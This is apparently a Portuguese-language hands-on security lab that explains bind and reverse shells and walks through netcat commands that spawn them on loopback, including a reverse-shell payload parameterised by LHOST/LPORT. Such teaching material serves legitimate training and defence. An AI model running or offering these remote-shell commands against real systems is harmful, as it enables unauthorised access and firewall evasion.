Introdução
Bem-vindo ao laboratório de Payloads de Bind e Reverse Shell. No campo da cibersegurança, obter acesso remoto a um sistema é um conceito fundamental. Esse acesso é normalmente alcançado usando "shells", que fornecem uma interface de linha de comando para o sistema remoto.
Existem dois métodos principais para estabelecer essa conexão: Bind Shells e Reverse Shells. Compreender a diferença entre eles é fundamental tanto para a segurança ofensiva (testes de penetração) quanto para a segurança defensiva (configuração de firewall e resposta a incidentes). Neste laboratório, você usará o netcat (frequentemente chamado de "canivete suíço" das redes) para simular e interagir com ambos os tipos de payloads diretamente em seu ambiente.
A distinção mais importante é quem inicia a conexão. Essa única escolha de design determina qual lado precisa estar acessível e quais controles de rede provavelmente interferirão.
Compreender os Tipos de Payload
Nesta etapa, exploraremos as diferenças teóricas entre um Bind Shell e um Reverse Shell e prepararemos nosso espaço de trabalho.
Um Bind Shell ocorre quando a máquina alvo abre uma porta de comunicação e aguarda que o atacante se conecte a ela. Pense nisso como um servidor aguardando um cliente. O alvo "vincula" (bind) um shell (como o /bin/bash) a uma porta específica. O atacante então se conecta ativamente a essa porta para obter o controle. Esse método geralmente falha em cenários do mundo real porque os firewalls normalmente bloqueiam conexões de entrada em portas inesperadas.
Isso é conceitualmente simples, mas operacionalmente frágil, pois pressupõe que o atacante possa alcançar a nova porta de escuta do alvo diretamente.
Um Reverse Shell é o oposto. O atacante abre uma porta de comunicação em sua própria máquina e aguarda. A máquina alvo é então forçada a se conectar ativamente de volta à máquina do atacante. Como os firewalls geralmente permitem tráfego de saída (como navegar na web), os reverse shells são muito mais bem-sucedidos em contornar restrições de rede.
É por isso que os reverse shells dominam o design de payloads no mundo real: eles se alinham melhor com as políticas de rede comuns que permitem tráfego de saída.
Vamos verificar se nossa ferramenta netcat está pronta. Usaremos o nc para criar nossos shells. Execute o seguinte comando para visualizar o menu de ajuda do netcat:
nc -h
Você deverá ver uma saída semelhante a esta, que inclui a flag -e. A flag -e é crucial porque nos permite executar um programa (como um shell bash) após o estabelecimento de uma conexão:
[v1.10-47]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
...
-e prog program to exec after connect [dangerous!!]
...
Para consolidar seu entendimento, vamos criar um arquivo de notas rápido no diretório do seu projeto. Use o comando echo para escrever um breve resumo em um arquivo chamado payload_notes.txt:
echo "Bind Shell: Atacante conecta-se ao Alvo. Reverse Shell: Alvo conecta-se ao Atacante." > ~/project/payload_notes.txt
Você pode visualizar o conteúdo do seu novo arquivo usando o comando cat:
cat ~/project/payload_notes.txt
Configurar um Payload de Bind Shell
Nesta etapa, você configurará e se conectará a um Bind Shell. Simularemos tanto o "alvo" quanto o "atacante" em sua máquina atual.
Primeiro, precisamos configurar o alvo. O alvo usará o netcat para escutar em uma porta específica e vincular um shell bash a ela. Usaremos a porta 4444. Adicionaremos um e comercial & ao final do comando para executá-lo em segundo plano, permitindo que continuemos usando o mesmo terminal.
Execute o seguinte comando para iniciar o listener do Bind Shell:
nc -lvp 4444 -e /bin/bash &
Vamos analisar este comando. A flag -l define o modo de escuta para conexões de entrada, enquanto a flag -v ativa o modo detalhado (verbose) para fornecer uma saída mais completa. O argumento -p 4444 especifica a porta local para escutar, que neste caso é 4444. O parâmetro -e /bin/bash é crucial, pois executa o shell bash assim que uma conexão é feita. Finalmente, o símbolo & executa todo o processo em segundo plano.
Você deverá ver uma saída indicando que o netcat está escutando:
listening on [any] 4444 ...
Agora, aja como o atacante. Você se conectará à porta aberta do alvo. Como o alvo é sua própria máquina, você se conectará ao endereço de loopback local 127.0.0.1.
Execute o seguinte comando para se conectar ao Bind Shell:
nc 127.0.0.1 4444
Você verá uma mensagem de conexão. Agora você está interagindo com o shell bash vinculado à porta 4444. O prompt do seu terminal pode não mudar, mas os comandos que você digita agora estão sendo executados através da conexão netcat.
Tente executar um comando simples para verificar seu acesso:
whoami
Ele deve exibir labex. Agora, digite exit para fechar a conexão do bind shell e retornar à sua sessão normal de terminal:
exit
Configurar um Payload de Reverse Shell
Nesta etapa, você configurará um Reverse Shell. Este é o método mais comum e prático em cenários do mundo real. Aqui, o atacante configura um listener, e o alvo executa um payload que se conecta de volta ao atacante.
Para tornar o fluxo da conexão mais fácil de entender, use duas janelas ou abas de terminal para esta etapa. O Terminal 1 atuará como o atacante, e o Terminal 2 atuará como o alvo.
Primeiro, no Terminal 1, inicie o listener do atacante na porta 5555:
nc -lvp 5555
Deixe esse listener rodando. Em seguida, no Terminal 2, aja como o alvo e execute o payload do reverse shell:
nc 127.0.0.1 5555 -e /bin/bash
Assim que o segundo comando for executado, o Terminal 1 deverá mostrar uma saída indicando uma conexão bem-sucedida vinda do alvo:
listening on [any] 5555 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 52348
Você capturou com sucesso um reverse shell! O alvo entrou em contato com sua porta de escuta. Assim como antes, agora você pode executar comandos.
Verifique sua conexão listando o conteúdo do diretório atual:
ls
Você deverá ver o arquivo payload_notes.txt que criou anteriormente. Quando terminar, digite exit para fechar a conexão do reverse shell:
exit
Configurar Listeners Locais (LHOST/LPORT)
Em frameworks profissionais de teste de penetração como o Metasploit, você encontrará frequentemente os termos LHOST e LPORT. O LHOST (Local Host) refere-se ao endereço IP da máquina do atacante, que é a máquina que aguarda a conexão. O LPORT (Local Port) refere-se à porta específica na máquina do atacante que está escutando ativamente por essa conexão de entrada.
Nesta etapa, você usará variáveis de ambiente do Linux para tornar esses valores mais fáceis de reutilizar. Novamente, use duas janelas ou abas de terminal para que o listener do atacante e o payload do alvo permaneçam separados.
Primeiro, no Terminal 1, defina a variável LHOST. Como estamos testando localmente, usaremos o endereço de loopback:
export LHOST=127.0.0.1
Em seguida, defina a variável LPORT. Usaremos a porta 6666 para este exercício final:
export LPORT=6666
Você pode verificar se essas variáveis estão definidas corretamente usando o comando echo:
echo "Listening on IP: $LHOST and Port: $LPORT"
Agora inicie o listener no Terminal 1:
nc -lvp $LPORT
Em seguida, vá para o Terminal 2 e defina as mesmas variáveis lá:
export LHOST=127.0.0.1
export LPORT=6666
Use essas variáveis para executar o payload do reverse shell a partir do Terminal 2:
nc "$LHOST" "$LPORT" -e /bin/bash
De volta ao Terminal 1, você verá a conexão estabelecida na porta 6666:
listening on [any] 6666 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 48112
Agora você está conectado via reverse shell usando variáveis dinâmicas. Execute um comando para verificar:
pwd
Finalmente, saia do shell para concluir o exercício:
exit
Resumo
Parabéns! Neste laboratório, você explorou com sucesso a mecânica de Bind e Reverse Shells. Você aprendeu que os Bind Shells exigem que o atacante se conecte ao alvo, enquanto os Reverse Shells exigem que o alvo se conecte de volta ao atacante, tornando-os altamente eficazes contra firewalls. Você também praticou a configuração desses payloads usando o netcat e aprendeu como utilizar variáveis de ambiente LHOST e LPORT para configurar listeners locais dinamicamente. Esses conceitos fundamentais são essenciais para compreender a segurança de rede e a entrega de payloads.



